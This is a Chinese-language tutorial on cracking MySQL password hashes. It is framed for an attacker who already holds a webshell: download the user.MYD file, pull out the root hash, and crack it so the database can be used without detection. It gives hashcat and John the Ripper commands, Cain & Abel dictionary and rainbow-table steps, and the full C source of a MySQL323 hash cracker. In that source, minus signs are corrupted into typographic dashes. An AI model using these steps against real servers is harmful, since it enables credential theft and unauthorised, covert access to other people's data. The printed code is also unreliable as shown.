研究MySQL數據庫的加解密方式,在網絡攻防過程中具有重要的意義;試想一旦獲取了網站一定的權限后,如果能夠獲取MySQL中保存用戶數據,通過解密后,即可通過正常途徑來訪問數據庫;一方面可以直接操作數據庫中的數據,另一方面可以用來提升權限。本文對目前常見的MySQL密碼破解方式進行了研究和討論。
1.MySQL數據庫密碼破解
MySQL數據庫用戶密碼跟其它數據庫用戶密碼一樣,在應用系統代碼中都是以明文出現的,在獲取文件讀取權限后即可直接從數據庫連接文件中讀取,例如asp代碼中的conn.asp數據庫連接文件,在該文件中一般都包含有數據庫類型,物理位置,用戶名和密碼等信息;而在MySQL中即使獲取了某一個用戶的數據庫用戶(root用戶除外)的密碼,也僅僅只能操作某一個用戶的數據庫中的數據。
在實際攻防過程中,在獲取Webshell的情況下,是可以直下載MySQL數據庫中保留用戶的user.MYD文件,該文件中保存的是MySQL數據庫中所有用戶對應的數據庫密碼,只要能夠破解這些密碼那么就可以正大光明的操作這些數據,雖然網上有很多修改MySQL數據庫用戶密碼的方法,卻不可取,因為修改用戶密碼的事情很容易被人發現!
1.1MYSQL加密方式
MYSQL數據庫的認證密碼有兩種方式,MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密,MYSQL數據庫中自帶Old_Password(str)和Password(str)函數,它們均可以在MYSQL數據庫里進行查詢,前者是MYSQL323加密,后者是MYSQLSHA1方式加密。
(1)以MYSQL323方式加密
SELECTOld_Password('bbs.antian365.com');
查詢結果MYSQL323= 10c886615b135b38
(2)以MYSQLSHA1方式加密
SELECTPassword('bbs.antian365.com');
查詢結果MYSQLSHA1= *A2EBAE36132928537ADA8E6D1F7C5C5886713CC2
執行結果如圖1所示,MYSQL323加密中生成的是16位字符串,而在MYSQLSHA1中生存的是41位字符串,其中*是不加入實際的密碼運算中,通過觀察在很多用戶中都攜帶了“*”,在實際破解過程中去掉“*”,也就是說MYSQLSHA1加密的密碼的實際位數是40位。
圖1在MYSQL數據庫中查詢同一密碼的不同SHA值
1.2MYSQL數據庫文件結構
1.MYSQL數據庫文件類型
MYSQL數據庫文件共有“frm”、“MYD”“和MYI”三種文件,“.frm”是描述表結構的文件,“.MYD”是表的數據文件,“.MYI”是表數據文件中任何索引的數據樹。一般是單獨存在一個文件夾中,默認是在路徑“C:\Program Files\MYSQL\MYSQL Server 5.0\data”下。
2.MYSQL數據庫用戶密碼文件
在MYSQL數據庫中所有設置默認都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安裝程序的data目錄下,如圖2所示,有關用戶一共有三個文件即user.frm、user.MYD和user.MYI,MYSQL數據庫用戶密碼都保存在user.MYD文件中,包括root用戶和其他用戶的密碼。
圖2 MYSQL數據庫用戶密碼文件
1.3獲取MySQL密碼哈希值
1.獲取MYSQL數據庫用戶密碼加密字符串
使用UltraEdit-32編輯器直接打開user.MYD文件,打開后使用二進制模式進行查看,如圖3所示,可以看到在root用戶后面是一串字符串,選中這些字符串將其復制到記事本中,這些字符串即為用戶加密值,即506D1427F6F61696B4501445C90624897266DAE3。注意:
(1)root后面的“*”不要復制到字符串中。
(2)在有些情況下需要往后面看看,否則得到的不是完整的MYSQLSHA1密碼,總之其正確的密碼位數是40位。
(3)如果是在John theRipper password cracker中進行密碼破解,需要帶“*”!
獲取加密的字符串
1.4網站在線密碼破解
1.ww.cmd5.com破解。將獲取的MySQL值放在cmd5.com網站中進行查詢,MySQL密碼破解一般都是收費的,成功破解一次0.1元。
2.somd5.com破解。Somd5.com是后面出現的一個免費破解網站,每次破解需要手工選擇圖形碼進行破解,速度快,效果好,只是每次只能破解一個,而且破解一次后需要重新輸入驗證碼。
1.5 hashcat破解hashcat支持很多種破解算法,免費開源軟件,官方網站https://hashcat.net/hashcat/,破解命令:
hashcat64.exe -m 200 myql.hashpass.dict //破解MySQL323類型
hashcat64.exe -m 300 myql.hashpass.dict //破解MySQL4.1/MySQL5類型
1.6 John the Ripper密碼破解John the Ripper下載地址:http://www.openwall.com/john/h/john179w2.zip,John theRipper除了能夠破解linux外,還能破解多種格式的密碼,在kali下測試破解MySQL密碼,如圖4所示。
Echo*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt
John –format =MySQL-sha1 hashes.txt
john –list=formats | grep MySQL //查看支持MySQL密碼破解的算法
圖4測試MySQL密碼破解
1.7使用Cain破解Mysql密碼
1.將MYSQL用戶密碼字符串加入到Cain破解列表
使用Cain & Abel 來破解MYSQL數據庫用戶密碼,Cain & Abel是一個可以破解屏保、PWL密碼、共享密碼、緩存口令、遠程共享口令、SMB口令、支持VNC口令解碼、Cisco Type-7口令解碼、Base64口令解碼、SQL Server 7.0/2000口令解碼、Remote Desktop口令解碼、Access Database口令解碼、Cisco PIX Firewall口令解碼、Cisco MD5解碼、NTLM Session Security口令解碼、IKE Aggressive Mode Pre-Shared Keys口令解碼、Dialup口令解碼、遠程桌面口令解碼等綜合工具,還可以遠程破解,可以掛字典以及暴力破解,其sniffer功能極其強大,幾乎可以明文捕獲一切帳號口令,包括FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5-PREAUTH、MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKE Aggressive Mode Pre-Shared Keys authentications等。
Cain & Abel 目前最新版本是4.9.56,軟件下載地址:http://www.oxid.it/downloads/ca_setup.exe。下載Cain & Abel 后,直接安裝,然后運行它,在Cain & Abel 主界面中單擊“Cracker”標簽,然后將用戶密碼的加密字符串“506D1427F6F61696B4501445C90624897266DAE3”加入到MYSQLHashes破解列表中,如圖5所示,單擊“Add tolist”,如圖6所示,將字符串復制到Hash輸入框中。Username可以任意輸入。
圖5使用Cain破解MYSQL密碼主界面
圖6添加MYSQL Hashes
2.使用字典進行破解
如圖7所示,選中剛才添加的需要破解的字符串,然后選擇“Dictionary Attack(字典破解)”,在彈出的菜單中選擇“MYSQL SHA1 Hashes”方式進行破解,該方式針對的是MYSQL4.1后續版本,對於MYSQL4.1以前版本則選擇“MYSQL v3.23 Hashes”進行破解。
圖7選擇破解方式
選擇DictionaryAttack(字典破解)”后會出現一個窗口,主要用於選擇字典,如圖8所示,在Dictionary下方右鍵單擊,可以添加一個或者多個字典文件,字典選擇完畢后可以在“Options(選項)”中進行選擇,然后單擊“Start”按鈕進行破解。
圖8MYSQL字典破解設置
說明:
在“Options(選項)”中一共有8種方式即:
(1)字符串首字母大寫
(2)字符串反轉
(3)雙倍字符串
(4)字符串全部小寫
(5)字符串全部大寫
(6)在字符串中加入數字
(7)在每個字符串中進行大寫輪換
(8)在字符串中加入2個數字
破解成功后Cain會給出一些提示信息,如下所示:
Plaintext of user <none> is databasepassword
Attack stopped!
1 of 1 hashes cracked
表明加密的密碼是“databasepassword”。回到Cain破解主窗口中后,破解的密碼值會自動加入到“Password”列中,如圖9所示,便於查看。
圖9破解密碼成功
3.破解探討
(1)字典破解跟字典強度有關
單擊“開始”-“程序”-“MYSQL”-“MYSQL Server5.0”-“MYSQL Command Line Client”打開MYSQL Command LineClient,輸入密碼后,輸入以下代碼重新設置一個新密碼:
UseMYSQL
本試驗中將原來的密碼修改為“1977-05-05”,其結果如圖10所示。
圖10修改MYSQL用戶密碼
再次使用UltraEdit-32軟件重新打開“C:\ProgramFiles\MYSQL\MYSQL Server 5.0\data\MYSQL\user.MYD”獲取其新的密碼字符串“B046BBAF61FE3BB6F60CA99AF39F5C2702F00D12”,然后重新選擇一個字典,在本例中選擇生成的生日字典,如圖11,圖12所示,僅僅選擇小寫字符串進行破解,很快就獲取了破解結果。實際結果表明使用Cain來破解MYSQL密碼,如果是采用字典破解,那么破解效果跟字典強度有關,只要破解的密碼在字典中,則一定能夠破解。
圖11再次破解MYSQL密碼
圖12修改MYSQL密碼后再次進行破解MYSQL密碼
(2)使用彩虹表進行破解
在Cain中還提供彩虹表破解MYSQL,在破解方式中選擇“CryptanalysisAttack”-“MYSQL SHA1 Hashes via RainbowTables”即可,如圖13,圖14所示,在實際測試過程中由於網絡上提供的sha彩虹表格式是RTI,而Cain中使用的是RT,我將下載的所有彩虹表中文件后綴由RTI修改為RT,然后進行破解,提示信息顯示不成功,應該是彩虹表的格式不一樣,Cain中只承認它自己提供的。
圖13使用彩虹表破解方式
圖14使用彩虹表進行破解
(3)Hash計算器
在Cain中提供了各種Hashes的計算,在主界面中單擊計算機圖標按鈕,即可彈出Hashes計算器,在“Text tohash”中輸入需要轉換的原始值,例如輸入“12345678”,單擊“Calculate”進行計算,如圖15所示,可以看到14種Hashes值。
圖15計算Hashes值
(4)生成彩虹表
在Cain的安裝目錄C:\ProgramFiles\Cain\Winrtgen中直接運行Winrtgen,如圖16所示,該工具為彩虹表生成器,可以很方便的生成各種類型的彩虹表值。
圖16 Winrtgen彩虹表生成工具
(5)設置彩虹表
在圖17中單擊“Add Table”在“RainbowTable properties”中的Hash中選擇“MYSQLsha1”,然后可以根據實際情況分別設置“Min Len”、“Max Len”、“Index”、“Chain len”、“Chain Count”以及“N oftables”的值,一般情況僅僅需要設置“Min Len”、“Max Len”以及“N oftables”的值。“N of tables”主要用來測試Hashes生成的完整度,輸入不同的值,會在Table properties中顯示百分比,通過嘗試來確定一共需要生成多少個表,然后單擊“Benchmark”進行時間估算,如圖17所示,單擊“OK”完成彩虹表生成設置。
圖17設置彩虹表
在彩虹表生成器中,如圖18單擊“Start”開始生成彩虹表,在Status中會顯示生成的大小和進度。
圖18開始生成彩虹表
由於彩虹表生成的時間比較漫長,在網絡上也沒有搜索到以rt結尾的MYSQL Sha1hashes表,因此本次破解主要以字典破解為主,彩虹表的破解將在全部生成后進行,在服務器權限設置不太嚴格的情況下,通過Webshell完全可以將MYSQL下的user.MYD文件下載到本地,只要破解了root用戶的密碼,然后借助Webshell可以做很多事情,本文通過介紹了在線網站、John the Ripper、hashcat解、cain來破解MYSQL密碼,對於設計不太復雜的MYSQL密碼,破解還是較為容易的。
(6)對於16位的MySQL密碼(MYSQL323加密算法)還有一種快速破解方式,編譯以下程序,直接進行破解,可以破解8位以下數字、字符等密碼。
使用方法:
./ MySQLfast6294b50f67eda209
破解效果如圖19所示。
/* This program is public domain. Share and enjoy.
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
*/
#include <stdio.h>
typedef unsigned long u32;
/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126
/* Maximum length of password */
#define MAX_LEN 12
#define MASK 0x7fffffffL
int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;
while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}
state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 << 8);
xor2 = (state2 << 8) ^ state1;
for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;
newstate3 = (targ2 – newstate2) ^ (newstate2 << 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) – (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d < MIN_CHAR || d > MAX_CHAR) continue;
div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) – (newstate3 << 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e < MIN_CHAR || e > MAX_CHAR) continue;
pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}
while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
sum -= MAX_CHAR;
i–;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}
return 0;
}
void crack(char *hash)
{
int i, len;
u32 targ1, targ2, targ3;
int pass[MAX_LEN];
if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
printf("Invalid password hash: %s\n", hash);
return;
}
printf("Hash: %08lx%08lx\n", targ1, targ2);
targ3 = targ2 – targ1;
targ3 = targ2 – ((targ3 << 8) ^ targ1);
targ3 = targ2 – ((targ3 << 8) ^ targ1);
targ3 = targ2 – ((targ3 << 8) ^ targ1);
for (len = 3; len <= MAX_LEN; len++) {
printf("Trying length %d\n", len);
if ( crack0(len-4, targ1, targ3, pass) ) {
printf("Found pass: ");
for (i = 0; i < len; i++)
putchar(pass[i]);
putchar('\n');
break;
}
}
if (len > MAX_LEN)
printf("Pass not found\n");
}
int main(int argc, char *argv[])
{
int i;
if (argc <= 1)
printf("usage: %s hash\n", argv[0]);
for (i = 1; i < argc; i++)
crack(argv[i]);
return 0;
}